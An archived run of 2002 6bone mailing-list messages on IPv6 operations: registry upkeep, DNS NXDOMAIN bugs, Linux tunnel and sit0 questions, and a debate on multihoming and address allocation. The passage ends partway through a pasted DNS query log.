From 6bone-owner  Thu Apr 25 16:14:26 2002
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Subject: Re: Does anyone know where I should look to fix this please? 
From: itojun@iijlab.net
Date: Fri, 26 Apr 2002 08:14:29 +0900
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>gethostbyaddr() ?
>Eeeeeeeek.
>What happened to getnameinfo() ?

	unforfunately sendmail still uses gethostbyname2/gethostbyaddr.

itojun

From 6bone-owner  Thu Apr 25 17:32:18 2002
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Date: Thu, 25 Apr 2002 17:34:02 -0700
From: David Kessens <david@IPRG.nokia.com>
To: Matteo Tescione <wizard@italiansky.com>
Cc: 6bone@ISI.EDU
Subject: Re: 6bone Database cleansing?
Message-ID: <20020425173402.A17766@iprg.nokia.com>
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Matteo,

On Tue, Apr 23, 2002 at 11:39:34AM +0200, Matteo Tescione wrote:
> The same results here, tried to ping the entire 6bone database "application
> ping" but get only around 10%, 20% of hosts...
> The question is: does anybody think to clean up the 6bone database?

While humans have the natural instinct that everything needs to be
kept tidy and cleaned, they always want to apply such tidyness rules
the most to other people, while they usually cut themselves a bit more
slack.

For example, I am the maintainer of the registry, but I am also a user
of the registry and I usually update my objects once in a couple of
months instead of doing it after every tiny change that I make to my
setup here. This saves me a lot of time while at the same time keeping
the most important information available: my contact information is
there and people can reach me if there is a problem.

A public database by nature makes it very hard to police and stop
people from putting incorrect data in there. In fact, if we would
strengthen the rules that will make it harder to register garbage
data, it will also make it harder for legitimate people to register
their data. That in turn, usually causes the legitimate users not to
put as much effort in keeping their data up to date anymore which in
return causes all data to be become stale. I much rather err a bit on
the side of making it easy to register things, than making it too
hard. This causes some garbage to get through the system, but I have a
big harddisk and there is really no problem with having extra, not
used data/sites in the database. It really doesn't hurt me as the
maintainer at all.

Keeping data up to date is really ones own responsibility, if I don't
update my contact information, people cannot reach me when *I* have a
problem so I will get burned since the other party will most likely
filter me out and I won't immediately know about it because my contact
information was out of date.

Having said this, I won't oppose at all any efforts to help the active
sites in keeping their data up to date and clean. I can think of an
automatic program that for example checks whether those reported
applications really exist, and if they don't, an email gets send to
the maintainer of that object to let them know that they either have a
problem or that they might want to consider updating their object. If
somebody has spare time to write such a program I would fully support
him/her in doing so. The only thing that we have to make sure is that
there are not going to be ten of such automatic programs and that they
don't send out their emails every hour or so so users will not get
annoyed by all this mail.

>From the other direction, if people write programs to use the registry
data, it makes a lot of sense to do some thinking on filtering out
data that is obviously stale or incorrect. For example, one approach
for a ping program could be to ping all the hosts, but not to report
hosts that could not be reached for 7 days or longer.

Of course, if people find totally obvious 'crap' in the database, they can
certainly drop me a mail and I will take a look at it to address the
problem.

David K.
---

From 6bone-owner  Thu Apr 25 21:37:00 2002
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Subject: buggy NXDOMAIN at NASA too?
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I think spaceflight.nasa.gov displays the same symptom as newsbbc.bbc.net.uk

I have mailed NASA to no avail. If anybody knows a contact who might get
their DNS people to look at things...

cheers
	-George
--
George Michaelson       |  APNIC
Email: ggm@apnic.net    |  PO Box 2131 Milton QLD 4064
Phone: +61 7 3858 3100  |  Australia
  Fax: +61 7 3858 3199  |  http://www.apnic.net



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To: ggm@apnic.net
Cc: 6bone@ISI.EDU
Subject: Re: buggy NXDOMAIN at NASA too?
References: <2823.1019795829@garlic.apnic.net>
From: =?iso-8859-1?q?Bj=F8rn?= Mork <bjorn@mork.no>
Organization: m
Date: Fri, 26 Apr 2002 09:40:03 +0200
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ggm@apnic.net writes:

> I think spaceflight.nasa.gov displays the same symptom as newsbbc.bbc.net.uk
>
> I have mailed NASA to no avail. If anybody knows a contact who might get
> their DNS people to look at things...

Did you try dns.support@nasa.gov?

I also brought this discussion to the load balancing mailing list,
since it's really more relevant there. The failure with ipv6 capable
clients is just a symptom. Asking a negative caching resolver for a MX
record would also cause these names to fail on that resolver. 


Bjørn

From 6bone-owner  Fri Apr 26 06:09:55 2002
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Date: Fri, 26 Apr 2002 06:10:04 -0700 (PDT)
From: nileshks78 <nileshks78@yahoo.com>
Subject: tunnel to 6bone
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Hello all,

I have global ipv6 addr from freenet6. So I have
tunnel between my network and freenet6's network. Can
i create another tunnel between my network and 6bone's
network.

If yes can any one give me remote ipv4 as well as ipv6
address of 6bone. And steps how should i go about. My
plateform is Linux.

Thanks in advance.

Nilesh
pes.edu

=====
Best Things in Life are Free.......like LINUX.Love Linux forever........

Unix is very simple, but it takes a genius to understand the simplicity.

Living in the Brave World of IpV6.

__________________________________________________
Do You Yahoo!?
Yahoo! Games - play chess, backgammon, pool and more
http://games.yahoo.com/

From 6bone-owner  Fri Apr 26 08:29:05 2002
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In-reply-to: nileshks78's message of Fri, 26 Apr 2002 06:10:04 MST.
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Subject: Re: tunnel to 6bone 
From: itojun@iijlab.net
Date: Sat, 27 Apr 2002 00:29:09 +0900
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>Hello all,
>
>I have global ipv6 addr from freenet6. So I have
>tunnel between my network and freenet6's network. Can
>i create another tunnel between my network and 6bone's
>network.
>
>If yes can any one give me remote ipv4 as well as ipv6
>address of 6bone. And steps how should i go about. My
>plateform is Linux.

	if you can tell us
	- your IPv4 address, and if it is dynamic (like DHCP) or static
	- physical location (city/state)
	it will be easier for upstreams to contact you (closer the better).

itojun

From 6bone-owner  Fri Apr 26 08:44:51 2002
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From: "Matteo Tescione" <wizard@italiansky.com>
To: "nileshks78" <nileshks78@yahoo.com>
Cc: <6bone@ISI.EDU>
References: <20020426131004.6816.qmail@web13904.mail.yahoo.com>
Subject: Re: tunnel to 6bone
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if u have a tunnel with freenet6 you're already into 6bone's network :)
hwhere u can have as many tunnel you want,

Regards,
Matteo Tescione
Ipv6 Dept.
COMV6 - Italy

----- Original Message ----- 
From: "nileshks78" <nileshks78@yahoo.com>
To: <6bone@ISI.EDU>
Sent: Friday, April 26, 2002 3:10 PM
Subject: tunnel to 6bone


> Hello all,
> 
> I have global ipv6 addr from freenet6. So I have
> tunnel between my network and freenet6's network. Can
> i create another tunnel between my network and 6bone's
> network.
> 
> If yes can any one give me remote ipv4 as well as ipv6
> address of 6bone. And steps how should i go about. My
> plateform is Linux.
> 
> Thanks in advance.
> 
> Nilesh
> pes.edu
> 
> =====
> Best Things in Life are Free.......like LINUX.Love Linux forever........
> 
> Unix is very simple, but it takes a genius to understand the simplicity.
> 
> Living in the Brave World of IpV6.
> 
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Games - play chess, backgammon, pool and more
> http://games.yahoo.com/


From 6bone-owner  Fri Apr 26 10:21:26 2002
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Date: Fri, 26 Apr 2002 19:21:27 +0200 (CDT)
From: Michael Kjorling <michael@kjorling.com>
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Apr 26 2002 17:44 +0200, Matteo Tescione wrote:

> if u have a tunnel with freenet6 you're already into 6bone's network :)
> hwhere u can have as many tunnel you want,
>
> Regards,
> Matteo Tescione
> Ipv6 Dept.
> COMV6 - Italy

I was under the impression that IPv6 multihoming required an ASN?


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From 6bone-owner  Fri Apr 26 11:12:24 2002
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Date: Fri, 26 Apr 2002 20:12:28 +0200
From: Pim van Pelt <pim@ipng.nl>
To: nileshks78 <nileshks78@yahoo.com>
Cc: 6bone@ISI.EDU
Subject: Re: tunnel to 6bone
Message-ID: <20020426181227.GB17496@bfib.colo.bit.nl>
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On Fri, Apr 26, 2002 at 06:10:04AM -0700, nileshks78 wrote:
| Hello all,
| 
| I have global ipv6 addr from freenet6. So I have
| tunnel between my network and freenet6's network. Can
| i create another tunnel between my network and 6bone's
| network.
| 
| If yes can any one give me remote ipv4 as well as ipv6
| address of 6bone. And steps how should i go about. My
| plateform is Linux.

I would like to take the time to bring to your attention that your
platform is not ready for source based routing and you will end up
sending packets from prefix A (tunnel A, freenet6) through the tunnel to
ISP B (who should not be aggregating your traffic).

Having more than one tunnel with different prefixes is technically
possible, however from a redundancy point of view it will help you
nothing. Let's say you use prefix A from freenet6 normally. If the
tunnel to freenet6 fails (or freenet is broken), you might want to send
your traffic through the other tunnel. That provider, 95% certainly,
will not perform any sort of ingress filtering (tunnelbrokers are well
known for being broken this way - pun intended :), and send your packet
to the destination. That destination in turn will return the packet to
freenet6 because the address you were using is from prefix A (which is
freenet6 space). The packet will then not get back to you because your
tunnel was down.

So if I were you, I'd stick to one (1) tunnel to a nearby ISP. Reply
with the IPv4 address and your upstream ISP (v4) and tell us if this IP
is static or dynamic, and if it's up 24/7 or not.

Thanks, good luck
Pim van Pelt
| 
| Thanks in advance.
| 
| Nilesh
| pes.edu
| 
| =====
| Best Things in Life are Free.......like LINUX.Love Linux forever........
| 
| Unix is very simple, but it takes a genius to understand the simplicity.
| 
| Living in the Brave World of IpV6.
| 
| __________________________________________________
| Do You Yahoo!?
| Yahoo! Games - play chess, backgammon, pool and more
| http://games.yahoo.com/

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri Apr 26 14:43:01 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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>> Matteo Tescione wrote:
> if u have a tunnel with freenet6 you're already into 6bone's
> network :) hwhere u can have as many tunnel you want,

> Michael Kjörling wrote:
> I was under the impression that IPv6 multihoming required an ASN?

It does indeed require one as the only way to be multihomed today in IPv6 is to be a xTLA.

Michel.


From 6bone-owner  Fri Apr 26 16:48:46 2002
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To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
Cc: "6bone" <6bone@ISI.EDU>
In-reply-to: michel's message of Fri, 26 Apr 2002 14:43:00 MST.
      <2B81403386729140A3A899A8B39B046406C602@server2000.arneill-py.sacramento.ca.us> 
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Subject: multihoming
From: itojun@iijlab.net
Date: Sat, 27 Apr 2002 08:48:50 +0900
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>> I was under the impression that IPv6 multihoming required an ASN?
>It does indeed require one as the only way to be multihomed today in IPv6 is to be a xTLA.

	depending on what you mean by "multihoming" and what kind of failure
	you want to cope with.
	yes, if you want to do currently-practiced provider-independent address/
	punching-hole routing info style multihoming, you need an ASN.

	RFC3178 is working just fine for me without ASN or provider-independent
	address/punching hole (basically, you get two /48 prefixes from two
	upstream provider, and you can cope with link failure to upstream).

	btw, i wonder why it is justified by people doing punching-hole style
	multihome, to taint/overload worldwide routing table for the benefit of
	a leaf site.  i guess we need a better routing protocol, or something.

itojun

From 6bone-owner  Sat Apr 27 20:40:10 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200204280340.g3S3eC711889@boreas.isi.edu>
Subject: Re: multihoming
In-Reply-To: <19314.1019864930@itojun.org> from "itojun@iijlab.net" at "Apr 27, 2 08:48:50 am"
To: itojun@iijlab.net
Date: Sat, 27 Apr 2002 20:40:11 -0700 (PDT)
Cc: michel@arneill-py.sacramento.ca.us, 6bone@ISI.EDU
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% >> I was under the impression that IPv6 multihoming required an ASN?
% >It does indeed require one as the only way to be multihomed today in IPv6 is to be a xTLA.
% 
% 	depending on what you mean by "multihoming" and what kind of failure
% 	you want to cope with.
% 	yes, if you want to do currently-practiced provider-independent address/
% 	punching-hole routing info style multihoming, you need an ASN.
% 
% 	RFC3178 is working just fine for me without ASN or provider-independent
% 	address/punching hole (basically, you get two /48 prefixes from two
% 	upstream provider, and you can cope with link failure to upstream).
% 
% 	btw, i wonder why it is justified by people doing punching-hole style
% 	multihome, to taint/overload worldwide routing table for the benefit of
% 	a leaf site.  i guess we need a better routing protocol, or something.
% 
% itojun

	tainting/overloading the routing table for IPv6 is 
	a non-issue at this point in time.  Some 400 prefixes
	are active.  What ought to be of more concern is the
	need to get a /48, -per provider- to deal w/ multihoming.
	This does not bode well for effective address conservation.

	But yes, we do need better routing protocols.

--bill

From 6bone-owner  Sun Apr 28 09:00:48 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Bill Manning <bmanning@ISI.EDU>
cc: itojun@iijlab.net, <michel@arneill-py.sacramento.ca.us>, <6bone@ISI.EDU>
Subject: Re: multihoming
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On Sat, 27 Apr 2002, Bill Manning wrote:
> % >> I was under the impression that IPv6 multihoming required an ASN?
> % >It does indeed require one as the only way to be multihomed today in IPv6 is to be a xTLA.
> % 
> % 	depending on what you mean by "multihoming" and what kind of failure
> % 	you want to cope with.
> % 	yes, if you want to do currently-practiced provider-independent address/
> % 	punching-hole routing info style multihoming, you need an ASN.
> % 
> % 	RFC3178 is working just fine for me without ASN or provider-independent
> % 	address/punching hole (basically, you get two /48 prefixes from two
> % 	upstream provider, and you can cope with link failure to upstream).
> % 
> % 	btw, i wonder why it is justified by people doing punching-hole style
> % 	multihome, to taint/overload worldwide routing table for the benefit of
> % 	a leaf site.  i guess we need a better routing protocol, or something.
> % 
> % itojun
> 
> 	tainting/overloading the routing table for IPv6 is 
> 	a non-issue at this point in time.  [...]

Sure, but stopping an avalanche is not an easy job.  We haven't managed to
kill irresponsible multihoming etc. with IPv4, so if we let go of these
requirements, we'll probably never be able to prevent the future problems.

When IPv6 routing table is at e.g. 5,000 entries, it may be too late to
set any effective policies.  We're seeing this now with IPv4 /24's etc.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sun Apr 28 11:19:03 2002
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Subject: RE: multihoming
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Bill Manning" <bmanning@ISI.EDU>
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Bill,

> Bill Manning wrote:
> tainting/overloading the routing table for IPv6 is 
> a non-issue at this point in time.  Some 400 prefixes
> are active.  What ought to be of more concern is the
> need to get a /48, -per provider- to deal w/ multihoming.
> This does not bode well for effective address conservation.

You are missing the point, IMHO. Granted, a /48 per provider is not the
most efficient allocation, but please keep in mind that there is an
almost unlimited number of /48s. There is more than enough room in the
2000:3FFF space to give multiple /48s to each living person on earth,
and also enough space to give multiple /64s to each light bulb in use.

On the other end, there are practical limits to the size of the routing
table, end even if we had unlimited CPU, memory and bandwidth resources
it would become a manageability issue anyway.

Michel.


From 6bone-owner  Sun Apr 28 12:27:21 2002
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From: "Joel Baker" <lucifer@lightbearer.com>
Date: Sun, 28 Apr 2002 13:27:29 -0600
To: 6bone@ISI.EDU
Subject: Re: multihoming
Message-ID: <20020428132729.A13171@lightbearer.com>
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On Sun, Apr 28, 2002 at 07:00:47PM +0300, Pekka Savola wrote:
> On Sat, 27 Apr 2002, Bill Manning wrote:
> > % >> I was under the impression that IPv6 multihoming required an ASN?
> > % >It does indeed require one as the only way to be multihomed today in IPv6 is to be a xTLA.
> > % 
> > % 	depending on what you mean by "multihoming" and what kind of failure
> > % 	you want to cope with.
> > % 	yes, if you want to do currently-practiced provider-independent address/
> > % 	punching-hole routing info style multihoming, you need an ASN.
> > % 
> > % 	RFC3178 is working just fine for me without ASN or provider-independent
> > % 	address/punching hole (basically, you get two /48 prefixes from two
> > % 	upstream provider, and you can cope with link failure to upstream).
> > % 
> > % 	btw, i wonder why it is justified by people doing punching-hole style
> > % 	multihome, to taint/overload worldwide routing table for the benefit of
> > % 	a leaf site.  i guess we need a better routing protocol, or something.
> > % 
> > % itojun
> > 
> > 	tainting/overloading the routing table for IPv6 is 
> > 	a non-issue at this point in time.  [...]
> 
> Sure, but stopping an avalanche is not an easy job.  We haven't managed to
> kill irresponsible multihoming etc. with IPv4, so if we let go of these
> requirements, we'll probably never be able to prevent the future problems.
> 
> When IPv6 routing table is at e.g. 5,000 entries, it may be too late to
> set any effective policies.  We're seeing this now with IPv4 /24's etc.

Once again... you cannot solve a social/business problem with technical
limitations, effectively. People who have motivation will always find new
and creative ways to get around them.

People want multihoming, enough to pay for it - and pay well. This means
that it WILL happen, whether you like it or not. You can manage to do it
via IPv4-style ASN+1 netblock announcements (leading to fractured routing
tables, but conservation of address space) or to IPv6/hierarchial style
route-via-xTLA methods, where you have easy to manage routing tables, but
blow lots of address space (because companies will have 1 block from each
of their upstreams). The latter also requires protocols that support this
kind of split natively and sanely, for long-term availability.

I'd say something about research vs. production networks here, but I can't
find any way to make it come out right. Suffice to say, most of us aren't
working for DARPA at this point.
-- 
***************************************************************************
Joel Baker                           System Administrator - lightbearer.com
lucifer@lightbearer.com              http://users.lightbearer.com/lucifer/

From 6bone-owner  Sun Apr 28 13:33:08 2002
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From: Rik van Riel <riel@conectiva.com.br>
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To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: Bill Manning <bmanning@ISI.EDU>, <6bone@ISI.EDU>
Subject: RE: multihoming
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On Sun, 28 Apr 2002, Michel Py wrote:

> > Bill Manning wrote:
> > tainting/overloading the routing table for IPv6 is
> > a non-issue at this point in time.  Some 400 prefixes
> > are active.  What ought to be of more concern is the
> > need to get a /48, -per provider- to deal w/ multihoming.
> > This does not bode well for effective address conservation.
>
> You are missing the point, IMHO. Granted, a /48 per provider is not the
> most efficient allocation, but please keep in mind that there is an
> almost unlimited number of /48s.

> On the other end, there are practical limits to the size of the routing
> table, end even if we had unlimited CPU, memory and bandwidth resources
> it would become a manageability issue anyway.

I guess this means for multihoming people just need multiple
netblocks (/48s or /56es) and the next higher layer of the
network stack needs to know about a host having multiple
addresses.

Good thing the SCTP people are already working on this.

Note that something like SCTP will always scale ... if your
server can handle 1000 connections, it can handle those 1000
connections with the remote ends having 4 possible addresses.

Figuring out why routing tables don't grow linearly this
nicely is left as an exercise for the reader ;)

regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From 6bone-owner  Sun Apr 28 13:41:11 2002
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From: nileshks78 <nileshks78@yahoo.com>
Subject: sit0 interface
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Hello all,

If i encapsulate my v6 packets into v4, i have to use
sit interface. But some people says you can not use
sit0 interface its for some special purpost.

Can any one tell me why should I can't use sit0.

Thanks for Help.

Nilesh.

=====
Best Things in Life are Free.......like LINUX.Love Linux forever........

Unix is very simple, but it takes a genius to understand the simplicity.

Living in the Brave World of IpV6.

__________________________________________________
Do You Yahoo!?
Yahoo! Health - your guide to health and wellness
http://health.yahoo.com

From 6bone-owner  Sun Apr 28 14:17:36 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: multihoming
In-Reply-To: <2B81403386729140A3A899A8B39B046405DFDE@server2000.arneill-py.sacramento.ca.us> from Michel Py at "Apr 28, 2 11:19:06 am"
To: michel@arneill-py.sacramento.ca.us (Michel Py)
Date: Sun, 28 Apr 2002 14:17:47 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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% You are missing the point, IMHO. Granted, a /48 per provider is not the
% most efficient allocation, but please keep in mind that there is an
% almost unlimited number of /48s. There is more than enough room in the
% 2000:3FFF space to give multiple /48s to each living person on earth,
% and also enough space to give multiple /64s to each light bulb in use.

	How many /64s does each lightbulb get?
	One per manufacture?
	One per consumer?
	One per utility?
	One per neighborhood association?
	One per research project that wants to check on:
		(features of glass, filament degredation, market penetration...)

	Or are you making the tacit assumption that everyone 
	gets enough space to address all the things that are of
	interest to them, with their OWN block of v6 space?

	IMHO, the whole point of CIDR in v4 was to address TWO
	problems, first, address exaustion. Delegation policies
	were increasingly finetuned to only delegate as much space 
	as was really needed.  second, a constraint on routing table
	size.  

% On the other end, there are practical limits to the size of the routing
% table, end even if we had unlimited CPU, memory and bandwidth resources
% it would become a manageability issue anyway.

	Granted, routing protocols of today are not robust in
	dealing with IPv6.  It does not mean that we should hammer
	IPv6 into the IPv4 mold nor should you restrict your thinking 
	to using v4 routing protocols for v6 address space.
	
	Neither the delegation problems nor the routing problems 
	are tractable with current thinking.  Hierarchical 
	delegation/routing, while known to work, do not meet the 
	wants of the user populace.  They will find a way around
	what they perceive as impediments. 

% Michel.

--bill

From 6bone-owner  Sun Apr 28 15:00:55 2002
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From: Jochen Friedrich <jochen@scram.de>
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Hi Nilesh,

> sit0 interface its for some special purpost.

sit0 is a point to multipoint interface and also supports dynamic tunnels. 

> Can any one tell me why should I can't use sit0.

sit1, sit2, etc are real point to point interfaces. You can of course use 
both, but they are used differently.

Cheers,
--jochen


From 6bone-owner  Sun Apr 28 15:59:10 2002
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From: nileshks78 <nileshks78@yahoo.com>
Subject: scope Compat
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Hello All,

When I give ifconfig sit0, in my linux machine, it
displays some information abotu sit0.

It says inet6 addr is ::202.4.187.94 Scope : compat

What is Compat scope means? 
When others try ping6 ::202.4.187.94, it dosent reply.
But when I try it form my machine only it replys.

Can anyone clear my doubts.

Thanks

Nilesh
pes.edu.

=====
Best Things in Life are Free.......like LINUX.Love Linux forever........

Unix is very simple, but it takes a genius to understand the simplicity.

Living in the Brave World of IpV6.

__________________________________________________
Do You Yahoo!?
Yahoo! Health - your guide to health and wellness
http://health.yahoo.com

From 6bone-owner  Sun Apr 28 17:07:37 2002
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Subject: RE: multihoming
Date: Sun, 28 Apr 2002 17:07:38 -0700
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Bill Manning" <bmanning@ISI.EDU>
Cc: <6bone@ISI.EDU>
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> Bill Manning wrote:
> How many /64s does each lightbulb get?

I would say each light bulb get its own unique 64 bit MAC address. Given
the typical lifespan of a light bulb GE will be able to recycle MAC
addresses for light bulbs after some years. In my house, each light bulb
is a /128 address present on three /64 subnets. I'm sure that everybody
recognizes the vital role of managing an IPv-6 enabled light bulb to the
point that each light bulb must be multihomed to at least three ISPs.
It is none of the manufacturer's business neither the utility to know
when my individual light bulbs are on.

So, if I get three /48s for my home, I can have each room being a
separate subnet, where light bulbs can be multihomed to three different
ISPs
And I still have addresses to spare.

> Or are you making the tacit assumption that everyone 
> gets enough space to address all the things that are of
> interest to them, with their OWN block of v6 space?

Generally speaking, yes. I would say that any home owner _really_
interested in multihomed light bulbs will get a /48 block of
portable-within-the-area, provider-independent addresses on top of few
number of /48 PA blocks). However, I feel that a very large part of the
world's population will be happy to manage their IPv6 light bulbs on a
single-homed single-subnet with a /64 block of addresses provided by
their ISPs.

> IMHO, the whole point of CIDR in v4 was to address TWO
> problems, first, address exaustion. Delegation policies
> were increasingly finetuned to only delegate as much space
> as was really needed.  second, a constraint on routing table
> size.  

Correct. Since address exhaustion is not a problem in v6, the idea is to
allocate more addresses than one would ever need, because it will allow
aggregation and therefore a reasonably manageable routing table size.


> It does not mean that we should hammer
> IPv6 into the IPv4 mold nor should you restrict your thinking 
> to using v4 routing protocols for v6 address space.

I fully agree.
	

> Neither the delegation problems nor the routing problems
> are tractable with current thinking.  Hierarchical
> delegation/routing, while known to work, do not meet the
> wants of the user populace. They will find a way around
> what they perceive as impediments.

I beg to differ. It is possible that you have not been following the
current multihoming developments.

Michel.


From 6bone-owner  Sun Apr 28 17:40:50 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: multihoming
In-Reply-To: <2B81403386729140A3A899A8B39B046405DFE0@server2000.arneill-py.sacramento.ca.us> from Michel Py at "Apr 28, 2 05:07:38 pm"
To: michel@arneill-py.sacramento.ca.us (Michel Py)
Date: Sun, 28 Apr 2002 17:41:01 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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% > Bill Manning wrote:
% > How many /64s does each lightbulb get?
% 
% I would say each light bulb get its own unique 64 bit MAC address. Given
% the typical lifespan of a light bulb GE will be able to recycle MAC
% addresses for light bulbs after some years. In my house, each light bulb
% is a /128 address present on three /64 subnets. I'm sure that everybody
% recognizes the vital role of managing an IPv-6 enabled light bulb to the
% point that each light bulb must be multihomed to at least three ISPs.
% It is none of the manufacturer's business neither the utility to know
% when my individual light bulbs are on.

	Your assumptions are noted.  And they might be valid.
	But a manufacturer might want/need to know and a utility
	might want to meter usage.  And I'm sure that I don't want
	either of them to have addresses on the private home network
	and they may not have agreements w/ the ISPs that have peering
	access.  Then of course, they might have thier own network
	into the house... 

% So, if I get three /48s for my home, I can have each room being a
% separate subnet, where light bulbs can be multihomed to three different
% ISPs
% And I still have addresses to spare.

	And link-local, site-local, and the ones for non-generic
	access ... 
	Good thing Richard did that work on source address selection.

% > Or are you making the tacit assumption that everyone 
% > gets enough space to address all the things that are of
% > interest to them, with their OWN block of v6 space?
% 
% Generally speaking, yes. I would say that any home owner _really_
% interested in multihomed light bulbs will get a /48 block of
% portable-within-the-area, provider-independent addresses on top of few
% number of /48 PA blocks). However, I feel that a very large part of the
% world's population will be happy to manage their IPv6 light bulbs on a
% single-homed single-subnet with a /64 block of addresses provided by
% their ISPs.

	I think that is granting ISPs -WAY- too much control.
	Multiple networks are a good thing.  Reduces single
	points of failure and all that. 


% > IMHO, the whole point of CIDR in v4 was to address TWO
% > problems, first, address exaustion. Delegation policies
% > were increasingly finetuned to only delegate as much space
% > as was really needed.  second, a constraint on routing table
% > size.  
% 
% Correct. Since address exhaustion is not a problem in v6, the idea is to
% allocate more addresses than one would ever need, because it will allow
% aggregation and therefore a reasonably manageable routing table size.

	Yet.  We are throwing them away really quickly, all in the
	name of routing table conservation. I remember when it was
	nearly as easy to get a /8 of v4 space as it is to get a /32
	of v6 space. H ratios not withstanding, I remain concerned
	that most people think there are addresses to burn and that
	aggregation will solve the access problems.  
	
	Neither has proven true in the past and I see nothing to
	show that things have changed.  While it is true that aggregation
	can solve the routing problem, it won't solve the capture/access
	problem.  People will not be content with a single point of 
	failure.     
	
	And the business case for being one of the "sanctioned" transit
	providers is nearly an irrestistable target.  Being able to 
	be in a position where whole industries, countries, etc. are
	-REQUIRED- to use my services to acheive "routablity" is something
	devoutly to be wished.  Or a threat to be designed around, depending
	on your point of view.

% > It does not mean that we should hammer
% > IPv6 into the IPv4 mold nor should you restrict your thinking 
% > to using v4 routing protocols for v6 address space.
% 
% I fully agree.
	
% > Neither the delegation problems nor the routing problems
% > are tractable with current thinking.  Hierarchical
% > delegation/routing, while known to work, do not meet the
% > wants of the user populace. They will find a way around
% > what they perceive as impediments.
% 
% I beg to differ. It is possible that you have not been following the
% current multihoming developments.

	You differ that people will find ways to get what they want?
	Or do you think that delegation and routing are tractable?

	WRT multihoming, It is possible and likely. There are way too 
	many good people involved.

% 
% Michel.
% 


-- 
--bill

From 6bone-owner  Sun Apr 28 22:31:38 2002
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Subject: RE: multihoming
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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>>> Bill Manning wrote:
>>> Neither the delegation problems nor the routing problems
>>> are tractable with current thinking.  Hierarchical
>>> delegation/routing, while known to work, do not meet the
>>> wants of the user populace. They will find a way around
>>> what they perceive as impediments.
 
>> I beg to differ. It is possible that you have not been
>> following the current multihoming developments.

> You differ that people will find ways to get what they want?
> Or do you think that delegation and routing are tractable?

Some people will find ways to get what they want for the price they're
willing to pay for it, and some won't.

I differ because I think that that there are ways to make hierarchical
delegation/routing palatable to the user populace.

Michel.


From 6bone-owner  Mon Apr 29 07:05:41 2002
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From: jorgen@hovland.cx
Date: Mon, 29 Apr 2002 14:05:49 GMT
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Subject: whats the deal with 54fx:: ?
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Every day I get a lot of strange reverse dns requests. Does anybody know 
what it is?


[snip]
26-04-2002 15:50 DynDNSModule UDP[53] 199.0.216.222/4070 
7.1.9.4.8.f.4.5.ip6.int not allowed
26-04-2002 15:50 DynDNSModule UDP[53] 199.0.216.1/3995 
7.1.9.4.8.f.4.5.ip6.int not allowed
26-04-2002 15:50 DynDNSModule UDP[53] 205.177.10.10/2182 
7.1.9.4.8.f.4.5.ip6.int not allowed
26-04-2002 15:50 DynDNSModule UDP[53] 199.0.216.222/4070 
7.1.9.4.8.f.4.5.ip6.int not allowed
26-04-2002 15:50 DynDNSModule UDP[53] 199.0.216.1/3995 
7.1.9.4.8.f.4.5.ip6.int not allowed
26-04-2002 15:50 DynDNSModule UDP[53] 205.177.10.10/2182 
7.1.9.4.8.f.4.5.ip6.int not allowed
27-04-2002 03:01 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 03:01 DynDNSModule UDP[53] 195.41.46.72/64037 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 03:01 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 03:06 DynDNSModule UDP[53] 193.88.13.218/53174 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 03:06 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 03:06 DynDNSModule UDP[53] 195.41.46.72/64037 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 04:44 DynDNSModule UDP[53] 193.88.13.218/53174 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 04:44 DynDNSModule UDP[53] 193.88.13.219/58803 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 04:44 DynDNSModule UDP[53] 195.41.46.71/46886 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 04:44 DynDNSModule UDP[53] 195.41.46.71/46886 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 04:44 DynDNSModule UDP[53] 195.41.46.72/64037 
